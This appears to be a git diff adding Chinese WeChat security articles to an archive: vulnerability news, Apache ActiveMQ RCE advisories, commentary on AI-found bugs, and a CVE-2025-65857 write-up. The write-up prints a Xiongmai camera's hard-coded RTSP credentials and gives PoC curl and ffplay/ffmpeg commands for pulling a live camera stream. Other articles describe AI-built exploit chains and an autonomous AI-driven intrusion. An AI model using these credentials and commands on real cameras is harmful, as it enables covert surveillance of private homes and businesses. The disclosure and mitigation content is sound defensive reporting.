diff --git a/data.json b/data.json
index dded395e..b7778795 100644
--- a/data.json
+++ b/data.json
@@ -20184,5 +20184,25 @@
"https://mp.weixin.qq.com/s/7rgi1Poke9Oc076fZ71PhA": "国家人工智能安全漏洞库启动运行",
"https://mp.weixin.qq.com/s/Qphhumd3O4HrcCyaixXcgw": "雨诺调度客户端 GetFile 存在任意文件读取漏洞",
"https://mp.weixin.qq.com/s/BxNitlIlxzaPEhafOGcEew": "iOS 漏洞会导致已删除通知残留,苹果现已推出修复更新",
- "https://mp.weixin.qq.com/s/gQk8l6ZAPlpFQlgNggh-mw": "网络安全可视化工具集 | FOFA 资产测绘爬取与 Nuclei 漏洞扫描"
+ "https://mp.weixin.qq.com/s/gQk8l6ZAPlpFQlgNggh-mw": "网络安全可视化工具集 | FOFA 资产测绘爬取与 Nuclei 漏洞扫描",
+ "https://mp.weixin.qq.com/s/iVWv9lHobQ2qjnCXN-q-rg": "CrowdStrike联合行业巨头成立QuiltWorks联盟,对抗AI暴增的漏洞威胁",
+ "https://mp.weixin.qq.com/s/iUzWMxRnKJnzKPV8jGI7Hw": "【漏洞通告】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)",
+ "https://mp.weixin.qq.com/s/tpPMDxqEnFclHP5gFDLbwg": "【已复现】漏洞通告 | Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)",
+ "https://mp.weixin.qq.com/s/vsWF_APpR2OcidXCh4geZg": "躺平送外卖风雨兼程一天七八十,而挖漏洞半小时到手500,你会怎么选?",
+ "https://mp.weixin.qq.com/s/cOq-mjo7jXe6rtIB4y_zEQ": "一天渗透测试,后台RCE+SQL注入+信息泄露,收工",
+ "https://mp.weixin.qq.com/s/AAjxu77yJ5UBTCUg1_-Ctg": "关于AI辅助挖掘漏洞报告提交规范的公告",
+ "https://mp.weixin.qq.com/s/42yvn5LXHYev-R476cdzdQ": "安全热点周报:Windows Defender 被漏洞利用,成了黑客的“帮凶”",
+ "https://mp.weixin.qq.com/s/LL44EOYq8f5whsHcr-YBgg": "【漏洞通告】FortiSandbox目录遍历漏洞(CVE-2026-39813)",
+ "https://mp.weixin.qq.com/s/TDrkxeG2dCq-sAGDjsBHpQ": "CVE-2025-65857:雄迈XM530摄像头硬编码凭据漏洞,数十万监控设备直接裸奔",
+ "https://mp.weixin.qq.com/s/b1FnoITsch__BTu5qswjhw": "【已复现】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)",
+ "https://mp.weixin.qq.com/s/1N5QY453xAWwUM3pvW2Yiw": "Mythos玻璃翼项目证明AI能发现漏洞,但修复工作该由谁来完成?",
+ "https://mp.weixin.qq.com/s/yevKttJQW6jpkg56ejl9Og": "国家人工智能安全漏洞库启动运行",
+ "https://mp.weixin.qq.com/s/RxU0VGboqymFkrzuRHKd1A": "我们发现了 Hermes Agent 的第一个远程代码执行漏洞,但这已经不重要了",
+ "https://mp.weixin.qq.com/s/bDVr6URMeQc8eYmZktdjow": "能信安:漏洞通告",
+ "https://mp.weixin.qq.com/s/zm0TaGzw5QpXPXdkwbLPRQ": "【漏洞通告】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)",
+ "https://mp.weixin.qq.com/s/AgRxUV_Q_BpxXMN50uJS3A": "文件上传操作漏洞场景挖掘思路",
+ "https://mp.weixin.qq.com/s/hb440dIKp9Dsm2CuFzFP5Q": "太初众测平台关于AI生成漏洞报告的处置公告",
+ "https://mp.weixin.qq.com/s/Sj8YUCbO9jxeDaTxsypuPA": "【安全圈】黑客利用 Breeze Cache WordPress 插件文件上传漏洞发动攻击",
+ "https://mp.weixin.qq.com/s/tgFJ7dEiAtOCjkzoVVfHFg": "【火绒安全周报】Vercel遭黑客入侵∕黑客多次入侵美最高法院",
+ "https://mp.weixin.qq.com/s/cBUA4XyFyW2VYe_1Wgifcg": "动态|国家人工智能安全漏洞库启动运行"
}
\ No newline at end of file
diff --git a/doc/2026-04/CVE-2025-65857:雄迈XM530摄像头硬编码凭据漏洞,数十万监控设备直接裸奔.md b/doc/2026-04/CVE-2025-65857:雄迈XM530摄像头硬编码凭据漏洞,数十万监控设备直接裸奔.md
new file mode 100644
index 00000000..4752eca1
--- /dev/null
+++ b/doc/2026-04/CVE-2025-65857:雄迈XM530摄像头硬编码凭据漏洞,数十万监控设备直接裸奔.md
@@ -0,0 +1,227 @@
+# CVE-2025-65857:雄迈XM530摄像头硬编码凭据漏洞,数十万监控设备直接裸奔
+ 幻泉之洲 2026-04-25 02:10
+
+> 雄迈(Xiongmai)XM530系列网络摄像头被曝出重大安全漏洞。该设备ONVIF服务的一个特定接口会直接对外暴露包含硬编码RTSP账号密码的流媒体地址,结合配套的身份验证绕过漏洞,攻击者无需任何交互即可远程获取并观看摄像头的实时监控画面。由于雄迈是众多白牌摄像头的OEM供应商,此漏洞影响范围极广,用户隐私面临严重威胁。
+
+## 漏洞概述:监控画面唾手可得
+
+CVE-2025-65857是一个严重程度极高的信息泄露漏洞。简单说,攻击者向摄像头发起一个标准的ONVIF协议请求,摄像头就会乖乖返回一个流媒体播放地址。问题在于,这个地址里直接写死了访问流媒体需要的用户名和密码。
+
+这意味着,任何能访问到这个摄像头网络的人,都能拿到钥匙(硬编码凭据),直接打开监控画面这道门。
+- CVE编号:CVE-2025-65857
+
+- 严重等级:严重
+
+- CVSS 3.1评分:9.1
+
+- CVSS向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+
+> 这个漏洞的核心危害在于它的“傻瓜式”利用。攻击无需破解密码,无需用户点击,只要网络可达,直接发起请求就能拿到密码,再用这个密码去看直播。
+
+## 技术原理:硬编码+裸奔传输
+
+漏洞根植于摄像头的ONVIF媒体服务中。具体来说,是GetStreamUri
+这个ONVIF接口出了问题。
+### 漏洞成因(CWE映射)
+
+**CWE-798:使用硬编码凭据**
+
+所有受影响设备都使用了相同的、无法修改的RTSP凭据:
+- 用户名:wphd
+
+- 密码:2MNswbQ5
+
+更糟的是,即使用户修改了摄像头的后台管理密码,这对硬编码的RTSP凭据也毫无影响。它像一个后门,独立于所有用户设置之外。
+
+**CWE-522:凭据保护不足**
+
+这些凭据的传输方式也毫无安全性可言。它们以明文形式直接嵌入在HTTP响应返回的RTSP URI中:
+
+rtsp://[摄像头IP]:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream
+
+没有加密,没有混淆,就这么直接送出去了。
+### 攻击向量
+
+单独看这个漏洞,攻击者还需要知道如何调用ONVIF接口。但结合另一个配套漏洞**CVE-2025-65856(ONVIF身份验证绕过)**
+,情况就变得极其危险。
+
+攻击链是这样的:
+1. 利用CVE-2025-65856,无需任何账号密码即可访问ONVIF服务。
+
+1. 调用存在漏洞的GetStreamUri
+接口。
+
+1. 接口返回包含硬编码凭据的RTSP地址。
+
+1. 使用该地址直接播放监控流。
+
+整个过程是“零点击”的,用户毫无感知。
+## 影响范围:你家的摄像头可能中招
+
+这个漏洞影响特定型号的硬件和固件,但由于雄迈的商业模式,波及范围远超单一品牌。
+- **供应商:**
+杭州雄迈科技有限公司(Hangzhou Xiongmai Technology)
+
+- **受影响产品:**
+IP Camera XM530V200_X6-WEQ_8M
+
+- **商业品牌:**
+ANBIUX,以及由雄迈代工的**数百个白牌/OEM品牌**
+。你在电商平台买到的许多不知名品牌摄像头,很可能就是雄迈生产的。
+
+- **受影响固件:**
+V5.00.R02.000807D8.10010.346624.S.ONVIF 21.06,以及所有V5.00.R02.*版本很可能都受影响。
+
+- **漏洞组件:**
+ONVIF媒体服务的GetStreamUri
+端点。
+
+> 雄迈是全球主要的摄像头OEM供应商,其产品以各种品牌销往世界各地,广泛应用于家庭、商铺、工厂等安防场景。这意味着可能有数十万甚至百万台设备暴露在此风险之下。
+
+
+**实际危害场景:**
+- 家庭监控被陌生人实时窥视。
+
+- 商铺、公司的安防画面可能被竞争对手获取。
+
+- 成为大规模监控的跳板(凭据通用,可批量扫描利用)。
+
+- 严重违反全球各地的隐私保护法规(如GDPR)。
+
+## 漏洞复现:三步拿到监控流
+
+以下是概念验证(PoC)步骤,展示了攻击者如何轻而易举地获取视频流。
+### 步骤1:获取媒体配置(无需认证)
+
+首先,利用身份验证绕过漏洞,获取摄像头的媒体配置信息(Profile)。
+
+curl -X POST http://[CAMERA_IP]:8899/onvif/device_service
+
+ -H "Content-Type: application/soap+xml"
+
+ -d '
+
+
+
+
+
+
+
+
+
+'
+
+响应中会包含可用的流配置令牌(Token),例如000
+(主码流)。
+### 步骤2:请求流地址,泄露硬编码凭据
+
+使用上一步得到的Token,请求获取对应的流媒体URI。
+
+curl -X POST http://[CAMERA_IP]:8899/onvif/Media
+
+ -H "Content-Type: application/soap+xml"
+
+ -d '
+
+
+
+
+
+
+
+
+
+ RTP-Unicast
+
+
+
+ RTSP
+
+
+
+
+
+ 000
+
+
+
+
+
+'
+
+关键来了!摄像头返回的响应中,会直接包含如下URI:
+
+rtsp://192.168.1.100:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream
+
+硬编码的用户名wphd
+和密码2MNswbQ5
+一览无余。
+### 步骤3:直接观看或录制视频流
+
+拿到URI后,使用任何支持RTSP的播放器(如VLC、ffplay)或工具(如ffmpeg)即可直接访问。
+
+# 使用ffplay实时播放
+
+ffplay "rtsp://192.168.1.100:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream"
+
+
+# 使用ffmpeg录制
+
+ffmpeg -i "rtsp://192.168.1.100:554/user=wphd_password=2MNswbQ5_channel=0_stream=0&onvif=0.sdp?real_stream" -c copy 监控录像.mp4
+
+至此,攻击者已经完全掌控了摄像头的实时画面。
+## 修复建议与缓解措施
+
+截至公开披露日,供应商尚未提供安全补丁。用户和网络管理员必须立即采取行动。
+### 给用户的紧急缓解措施
+- **网络隔离:**
+立即将摄像头放置在独立的VLAN中,并**严禁**
+将其端口映射到公网(即不要做端口转发)。
+
+- **防火墙规则:**
+在网络上阻断所有从外部发往摄像头RTSP端口(默认554)的入站连接。
+
+- **仅通过VPN访问:**
+如果确实需要远程查看,务必通过VPN接入内网后再访问摄像头,杜绝直连。
+
+- **监控RTSP连接:**
+在网络设备上启用日志,监控异常的RTSP会话尝试。
+
+- **考虑替换设备:**
+考虑到雄迈产品过往糟糕的安全记录(见文末参考链接),**强烈建议**
+在条件允许时,更换为安全性更有保障的知名品牌设备。
+
+### 给供应商的建议
+- 从GetStreamUri
+接口的响应中移除硬编码凭据。
+
+- 为RTSP流实现真正的、基于Digest的认证机制(RFC 2617)。
+
+- 采用带有时效性的会话令牌,而非长期有效的静态凭据。
+
+- 为每台设备生成唯一的RTSP访问凭据。
+
+- 在RTSP服务上实施速率限制,防止流耗尽攻击。
+
+## 时间线与厂商响应
+- **2025年11月:**
+研究人员在安全评估中发现该漏洞。
+
+- **2025年12月16日:**
+MITRE分配CVE编号CVE-2025-65857。
+
+- **2025年12月17-18日:**
+研究人员尝试通过官方邮箱XMSRC@xiongmaitech.com
+及备用邮箱联系厂商,均因**服务器配置错误导致邮件投递失败**
+。
+
+- **2025年12月18日:**
+公开披露。
+
+**厂商响应:**
+无。官方安全联系渠道已失效。
+### 参考资料
+
+[1]
+https://github.com/LuisMirandaAcebedo/CVE-2025-65857
+
diff --git a/doc/2026-04/CrowdStrike联合行业巨头成立QuiltWorks联盟,对抗AI暴增的漏洞威胁.md b/doc/2026-04/CrowdStrike联合行业巨头成立QuiltWorks联盟,对抗AI暴增的漏洞威胁.md
new file mode 100644
index 00000000..bf4c096d
--- /dev/null
+++ b/doc/2026-04/CrowdStrike联合行业巨头成立QuiltWorks联盟,对抗AI暴增的漏洞威胁.md
@@ -0,0 +1,60 @@
+# CrowdStrike联合行业巨头成立QuiltWorks联盟,对抗AI暴增的漏洞威胁
+ FreeBuf 2026-04-24 10:03
+
+
+
+##
+##
+
+网络安全公司CrowdStrike Holdings Inc.今日宣布启动"QuiltWorks计划"行业联盟,旨在帮助企业发现并修复前沿人工智能模型所暴露的大量软件漏洞。
+
+
+该联盟汇集了埃森哲、安永、IBM网络安全服务部门、Kroll和OpenAI等企业,并得到OpenAI与Anthropic的前沿模型技术支持。联盟指出,前沿模型正在发现传统扫描工具和人工代码审查所遗漏的逻辑错误、设计缺陷、配置错误及新型利用路径,大幅缩短了防御方从漏洞发现到被利用的响应时间。
+
+
+"随着前沿AI加速漏洞发现进程,全球企业董事会都在向首席信息安全官提出相同问题:我们是否暴露在风险中?防护是否到位?"CrowdStrike首席执行官兼创始人George Kurtz表示,"QuiltWorks计划正是行业联合为各组织提供董事会所需答案的解决方案。"
+
+
+该联盟依托CrowdStrike每日处理数万亿安全事件的Falcon平台,结合超过10,000名认证专业人员组成的合作伙伴网络,推动代码级修复工作。公司强调,该模式通过对手情报和攻击路径分析来评估攻击者实际可触达的漏洞,使企业突破传统基于通用漏洞评分系统(CVSS)的优先级排序。
+##
+
+**Part01**
+## 应对AI驱动的威胁格局变革
+
+
+埃森哲网络安全全球负责人Harpreet Sidhu表示,联盟将提供"修复代码级问题的运营能力,帮助客户建立全面防护体系"。安永美洲网络商业负责人David Cooper指出,多数组织尚未准备好应对前沿模型带来的新型漏洞类别。IBM咨询网络安全服务全球管理合伙人Mark Hughes称,与CrowdStrike的合作将IBM自主安全方案扩展至"以机器速度"管理新型风险。
+
+
+**Part02**
+## 同步推出AI就绪评估服务
+
+
+CrowdStrike同日推出"前沿AI就绪与韧性服务",这项由专家主导的持续性服务采用12个月可续费订阅模式,可通过Falcon Flex资金购买。新服务包含:评估组织现有安全方案、前沿AI驱动的应用与代码库扫描、超越CVSS评分的红队优先级排序,以及附带董事会级报告的指导性修复方案。
+
+
+OpenAI首席信息安全官Dane Stuckey表示,公司正通过"网络安全可信访问计划"支持该行动,加速整个生态系统的漏洞发现与修复进程。QuiltWorks计划与AI漏洞评估服务即日上线。
+
+
+**参考来源:**
+
+CrowdStrike launches Project QuiltWorks coalition to tackle AI-discovered vulnerabilities
+
+https://siliconangle.com/2026/04/23/crowdstrike-launches-project-quiltworks-coalition-tackle-ai-discovered-vulnerabilities/
+
+
+
+**推荐阅读**
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651337140&idx=1&sn=134af642d92b85fc1076a8c83c09945c&scene=21#wechat_redirect)
+
+
+### 电报讨论
+
+
+
+
+****
+
+
+
+
diff --git a/doc/2026-04/Mythos玻璃翼项目证明AI能发现漏洞,但修复工作该由谁来完成?.md b/doc/2026-04/Mythos玻璃翼项目证明AI能发现漏洞,但修复工作该由谁来完成?.md
new file mode 100644
index 00000000..37029e7e
--- /dev/null
+++ b/doc/2026-04/Mythos玻璃翼项目证明AI能发现漏洞,但修复工作该由谁来完成?.md
@@ -0,0 +1,145 @@
+# Mythos玻璃翼项目证明AI能发现漏洞,但修复工作该由谁来完成?
+ FreeBuf 2026-04-24 10:03
+
+
+
+##
+##
+
+上周,Anthropic公司公布了玻璃翼项目(Project Glasswing),其AI模型在发现软件漏洞方面效率惊人,以至于该公司采取了非常规措施推迟公开版本发布。目前仅向苹果、微软、谷歌、亚马逊等企业联盟开放访问权限,旨在赶在攻击者之前发现并修补漏洞。
+
+
+作为玻璃翼项目前身的Mythos Preview模型在所有主流操作系统和浏览器中均发现了漏洞。其中部分漏洞在经历数十年人工审计、激进模糊测试和开源审查后依然存在。有一个漏洞甚至在OpenBSD中潜伏了27年——该系统被公认为全球最安全的操作系统之一。
+
+
+人们很容易将此归类为"AI实验室宣称其AI过于危险"的套路,类似OpenAI当年对GPT-2的操作。但这次情况有本质不同:Mythos不仅发现了独立漏洞(CVE),更实现了:
+
+- 将四个独立漏洞串联成攻击链,同时绕过浏览器渲染器和操作系统沙箱
+
+- 通过竞争条件在Linux系统中实现本地权限提升
+
+- 针对FreeBSD的NFS服务器构建了包含20个组件的ROP链,攻击载荷分散在多个数据包中
+
+对比鲜明的是,Anthropic前代旗舰模型Claude Opus 4.6几乎完全无法自主开发漏洞利用程序,而Mythos在Firefox JS引擎测试中成功率高达72.4%。这已非理论推演或三五年后的预测,而是即将到来的工程现实。
+##
+
+**Part01**
+## 玻璃翼项目暴露的真实网络安全缺口
+
+
+安全负责人最应警惕的数字是:Mythos发现的漏洞中仅有不到1%得到修补。全球最强大的漏洞发现引擎对阵最关键软件系统时,整个生态却无法消化其输出。玻璃翼解决了发现问题,但修复难题仍悬而未决。
+
+
+防御者为何力不从心:日历速度 vs 机器速度
+
+
+网络安全行业多年来始终绕不开这个结构性矛盾,AI的介入使其无法继续被忽视。防御者遵循日历速度工作流:收集情报→制定方案→模拟威胁→实施缓解→循环往复,顺利时完成周期仍需四天。而攻击者(尤其是全程运用大语言模型的)正以机器速度推进。
+
+
+AI驱动的攻击已实现全自动化
+
+
+今年初,某攻击组织在针对FortiGate设备的攻击链中部署了托管LLM的定制MCP服务器。该AI自主完成:后门创建、内网拓扑测绘、漏洞评估、以及优先执行获取域管理员权限的攻击工具。最终导致106个国家2516家机构同时沦陷——从初始访问到凭证转储再到数据外泄,整个攻击链完全自主运行,人类仅事后查看结果。
+
+
+AI漏洞发现速度远超修复能力
+
+
+攻击与防御的速度差并非新现象,但原本细微的差距现已裂变为鸿沟:
+
+- AISLE等自主系统在OpenSSL近期协同发布中发现14个CVE中的13个,这些漏洞曾逃过多年人工审查
+
+- XBOW成为2025年HackerOne平台排名第一的黑客,超越所有人类参与者
+
+- 从漏洞披露到武器化利用的中位时间从2018年的771天骤降至2024年的数小时
+
+- 到2025年,多数漏洞将在公开披露前完成武器化
+
+若将Mythos级发现能力纳入此图景,世界不会自动变得更安全,只会迎来需要人工核实的海量有效发现,而组织流程、业务连续性考量和补丁周期等环节十年来未有本质改变。
+
+
+**Part02**
+## 如何构建适配Mythos的安全体系
+
+
+面对玻璃翼项目,本能反应是追问"如何发现更多漏洞",但这实则是错误命题。真正的问题是:"当数千个可 exploitation 漏洞明日出现在你案头时,现有体系能否有效处理?"对多数组织而言,诚实答案是否定的。根源不在于工具或人才短缺,而是依赖周期性人工启动流程的结构性缺陷——这套机制设计初衷是应对细水长流的漏洞,而非排山倒海的冲击。
+
+
+我们无法修复所有漏洞,也无法实施所有加固方案。这非悲观论调,而是有效安全体系的务实起点。关键问题不是"CVE是否严重",而是"该漏洞在当下部署环境中是否具备可 exploitation 条件?"适配Mythos的安全体系需要三大支柱:
+
+
+第一:信号驱动验证替代计划性测试
+
+
+当新威胁出现、资产变更或配置漂移时,防御措施需立即针对具体变化进行测试,而非等待季度渗透测试或人员档期。"计划性验证"的前提是威胁环境稳定,如今这个假设已彻底失效。
+
+
+第二:环境特异性上下文优先于通用CVSS评分
+
+
+玻璃翼将产生CVE雪崩,但多数漏洞管理程序仍依赖CVSS评分排序。这种脱离上下文的指标仅反映漏洞理论危害,无法判断在具体基础设施中的可 exploitation 性。当发现量从数百激增至数千时,无上下文优先排序不仅降低效率,更会彻底瘫痪流程。
+
+
+第三:闭环修复消除人工交接
+
+
+现有模式无法应对"漏洞披露数小时内即遭利用"的新常态。典型流程:扫描器发现漏洞→分析员分类→工单转交其他团队→数周后打补丁→无人复验。这套人工交接链正是系统崩坏处——若从发现到修复再到复验的周期离不开人工转单,就永远无法接近机器速度。
+
+
+这并非要求采购更多工具,而是发挥防御者唯一不对称优势:你掌握组织拓扑而攻击者不掌握。但该优势的发挥前提是能以机器速度行动。
+
+
+**Part03**
+## 自主暴露验证如何弥合差距
+## Picus的解决方案
+
+
+需要坦诚说明:本文作者来自Picus Security——家专注于自主暴露验证平台的厂商。玻璃翼项目让我们及交流过的众多CISO认清:暴露管理程序中的验证环节已成为最关键瓶颈。漏洞发现即将变得极其高效,而修补过程仍将缓慢痛苦,其间唯一可控杠杆是识别真正关键的漏洞——这正是验证的价值。
+
+
+从四天到三分钟:Agentic工作流如何变革周期
+
+
+我们开发的Picus Swarm AI团队将传统四天周期压缩至分钟级。这套AI Agent协同完成了原本需要四个团队交接的工作:
+
+- 研究Agent接收并审核威胁情报
+
+- 红队Agent对照环境生成经安全检查的攻击方案
+
+- 模拟Agent在实际终端和云环境执行,收集遥测与证据
+
+- 协调Agent衔接发现与修复环节:创建工单、触发SOAR方案、推送攻击指标至EDR、验证修复效果
+
+所有操作皆可追溯审计,各Agent在预设边界内运行。从接收CISA警报到生成可立即修复的验证结果,全链仅需三分钟。当Mythos级模型抛出数千发现时,你需要能立即判断哪些在特定环境中可 exploitation、现有控制措施能否拦截、以及供应商专属修复方案的系统。
+
+
+**Part04**
+## 令人不安的真相
+
+
+衡量玻璃翼项目的唯一标准将是:多少漏洞在被利用前得到修补。无关发现数量或攻击链复杂程度,关键在于生态能否消化AI的产出。单纯可见性从来不够——83%网络安全项目仍无实效。改变游戏规则的是弥合发现与实证的差距:确认潜在漏洞是否真会危及你的环境。这就是验证的价值。在后玻璃翼时代,它将是漏洞洪流与入侵浪潮间的唯一屏障。
+
+
+**参考来源:**
+
+Project Glasswing Proved AI Can Find the Bugs. Who's Going to Fix Them?
+
+https://thehackernews.com/2026/04/project-glasswing-proved-ai-can-find.html
+
+
+
+**推荐阅读**
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651337140&idx=1&sn=134af642d92b85fc1076a8c83c09945c&scene=21#wechat_redirect)
+
+
+### 电报讨论
+
+
+
+
+****
+
+
+
+
diff --git a/doc/2026-04/【安全圈】黑客利用 Breeze Cache WordPress 插件文件上传漏洞发动攻击.md b/doc/2026-04/【安全圈】黑客利用 Breeze Cache WordPress 插件文件上传漏洞发动攻击.md
new file mode 100644
index 00000000..f761fd4d
--- /dev/null
+++ b/doc/2026-04/【安全圈】黑客利用 Breeze Cache WordPress 插件文件上传漏洞发动攻击.md
@@ -0,0 +1,111 @@
+# 【安全圈】黑客利用 Breeze Cache WordPress 插件文件上传漏洞发动攻击
+ 安全圈 2026-04-24 11:00
+
+
+
+
+**关键词**
+
+
+
+漏洞
+
+
+黑客正在积极利用 WordPress 的 Breeze Cache 插件中的一个严重漏洞,该漏洞可让攻击者在无需身份验证的情况下,在服务器上上传任意文件。
+
+
+
+此安全漏洞编号为 CVE - 2026 - 3844,WordPress 生态系统的安全解决方案 Wordfence 已监测到超 170 次利用该漏洞的攻击尝试。
+
+
+
+Cloudways 开发的 Breeze Cache 是一款 WordPress 缓存插件,拥有超 40 万活跃安装量,旨在通过缓存、文件优化和数据库清理减少页面加载频率,从而提升网站性能和加载速度。
+
+
+
+该漏洞被评定为严重级别,在 10 分制中获 9.8 分,由安全研究员洪阮(Hung Nguyen,网名 bashu)发现并报告。
+
+
+
+Wordfence 的开发商、WordPress 安全公司 Defiant 的研究人员表示,问题源于 “fetch_gravatar_from_remote” 函数中缺少文件类型验证。
+
+
+
+这使得未经身份验证的攻击者能够向服务器上传任意文件,进而可能导致远程代码执行(RCE),实现对网站的完全控制。
+
+
+
+不过,研究人员称,只有在启用 “本地托管文件 - Gravatars” 附加组件(默认未开启)的情况下,攻击才可能成功。
+
+
+
+CVE - 2026 - 3844 影响 2.4.4 及之前的所有 Breeze Cache 版本。Cloudways 已于本周早些时候发布的 2.4.5 版本中修复该漏洞。
+
+
+
+据
+WordPress.org
+的统计数据,自最新版本发布以来,该插件约有 13.8 万次下载。但尚不清楚有多少网站存在漏洞,因为没有关于启用 “本地托管文件 - Gravatars” 功能的网站数量数据。
+
+
+
+鉴于该漏洞正被积极利用,建议依赖 Breeze Cache 提升性能的网站所有者 / 管理员尽快将插件升级到最新版本,或暂时停用该插件。
+
+
+
+如果目前无法升级,管理员至少应禁用 “本地托管文件 - Gravatars” 功能。
+
+
+
+
+
+ END
+
+
+阅读推荐
+
+
+[【安全圈】《王者荣耀》惊现逆天bug](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075971&idx=1&sn=87382d2f57b8f0b6d5e7f3203b830e4d&scene=21#wechat_redirect)
+
+
+
+[【安全圈】理想汽车严正声明:系统遭黑客破解、配合走私均为不实信息](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075971&idx=2&sn=ef4ca71b65ec892a68ab6e5aeb1ab6df&scene=21#wechat_redirect)
+
+
+
+[【安全圈】Claude Mythos 发现 271 个火狐浏览器漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075971&idx=3&sn=d88245ccf278317f520a1fdb52cbc91b&scene=21#wechat_redirect)
+
+
+
+[【安全圈】未受保护的 Perforce 服务器暴露主要组织的敏感数据](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075943&idx=1&sn=473119abec6a4c6ed316801316b3723b&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+**安全圈**
+
+
+
+
+←扫码关注我们
+
+**网罗圈内热点 专注网络安全**
+
+**实时资讯一手掌握!**
+
+
+
+
+**好看你就分享 有用就点个赞**
+
+**支持「****安全圈」就点个三连吧!**
+
+
+
+
diff --git a/doc/2026-04/【已复现】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md b/doc/2026-04/【已复现】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md
new file mode 100644
index 00000000..9a4df1ea
--- /dev/null
+++ b/doc/2026-04/【已复现】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md
@@ -0,0 +1,121 @@
+# 【已复现】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)
+ 安恒信息CERT 2026-04-24 11:40
+
+
+
+
|
| |
| | | |
| | | |
| | | |
| | | |
| | | |
| 攻击者可通过 Jolokia API 调用 addNetworkConnector 操作,利用 vm:// 传输加载远程 Spring XML 配置文件执行任意命令。 |
+
+该产品主要使用客户行业分布广泛,漏洞危害性高,建议客户尽快做好自查及防护。
+安恒研究院卫兵实验室已通过恒脑AI代码审计智能体复现此漏洞。
+
+
+
+
+
+
+**漏洞信息**
+
+
+
+
+Apache ActiveMQ 是一个开源的 Java 消息代理(Message Broker),它作为中间件用于在分布式系统中解耦服务和管理消息队列。
+
+
+**漏洞描述**
+
+**漏洞危害等级:**
+高危
+
+**漏洞类型:**
+远程代码执行
+
+
+**影响范围**
+
+**影响版本:**
+
+Apache ActiveMQ Broker (activemq-broker) < 5.19.6
+6.0.0 <= Apache ActiveMQ Broker (activemq-broker) < 6.2.5
+
+Apache ActiveMQ All(activemq-all) < 5.19.6
+
+6.0.0 <= Apache ActiveMQ All(activemq-all) < 6.2.5
+
+Apache ActiveMQ(apache-activemq) < 5.19.6
+
+6.0.0 <= Apache ActiveMQ(apache-activemq) < 6.2.5
+
+
+**CVSS向量**
+
+访问途径(AV):网络
+
+攻击复杂度(AC):低
+
+所需权限(PR):
+低
+
+用户交互(UI):无
+
+影响范围 (S):不变
+
+机密性影响 (C):高
+
+完整性影响 (l):
+高
+
+可用性影响 (A):
+高
+
+
+
+**修复方案**
+
+
+
+
+**官方修复方案:**
+
+1、升级 Apache ActiveMQ 至官方修复版本 5.19.6 或 6.2.5。
+
+2、对已部署实例重点排查 Jolokia API 暴露情况、异常 network connector 配置以及可疑远程 XML 加载行为。
+
+3、如业务使用了受影响版本,升级后建议结合日志审计与主机排查确认是否存在异常利用痕迹。
+
+信息来源:https://seclists.org/oss-sec/2026/q2/207
+
+**临时缓解方案:**
+
+
+1、在完成升级前,限制 ActiveMQ 管理接口和 Jolokia API 的访问范围,避免暴露到不可信网络。
+
+2、若业务允许,可临时禁用或移除 activemq-http 模块,降低通过 HTTP Discovery 链路触发问题的风险。
+
+3、结合防火墙、反向代理或访问控制策略,仅允许受信任的管理来源访问相关管理端点。
+
+信息来源:https://mp.weixin.qq.com/s/dWklev4zkj1rRms1B6tRaQ
+
+
+
+**参考资料**
+
+
+
+
+
+https://mp.weixin.qq.com/s/dWklev4zkj1rRms1B6tRaQ
+
+https://seclists.org/oss-sec/2026/q2/207
+
+https://activemq.apache.org/download.html
+
+
+
+**技术支持**
+
+
+
+
+如有漏洞相关需求支持请联系400-6059-110获取相关能力支撑。
+
+
diff --git a/doc/2026-04/【已复现】漏洞通告 Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md b/doc/2026-04/【已复现】漏洞通告 Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md
new file mode 100644
index 00000000..70663e28
--- /dev/null
+++ b/doc/2026-04/【已复现】漏洞通告 Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md
@@ -0,0 +1,103 @@
+# 【已复现】漏洞通告 | Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)
+安全实验室
+ 安全实验室 中成信息 2026-04-24 10:14
+
+
+
+**1**
+
+
+**漏洞描述**
+
+Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)是 CVE-2026-34197 安全补丁的绕过。当目标环境的类路径中存在 activemq-http 模块时,已认证的攻击者可通过 Jolokia API 添加采用 HTTP Discovery 传输机制的恶意网络连接器。攻击者控制的 HTTP 端点返回 VM 传输 URI 以规避安全验证,进而利用 Spring 的 ResourceXmlApplicationContext 加载远程恶意 XML 配置文件,最终在目标 JVM 上执行任意代码。
+
+2
+
+
+**影响范围**
+
+Apache ActiveMQ Broker (activemq-broker) < 5.19.6
+
+6.0.0 <= Apache ActiveMQ Broker (activemq-broker) < 6.2.5
+
+Apache ActiveMQ All(activemq-all) < 5.19.6
+
+6.0.0 <= Apache ActiveMQ All(activemq-all) < 6.2.5
+
+Apache ActiveMQ(apache-activemq) < 5.19.6
+
+6.0.0 <= Apache ActiveMQ(apache-activemq) < 6.2.5
+
+
+
+3
+
+
+**漏洞详情**
+ |
| |
| |
| | | |
| | | |
| | | |
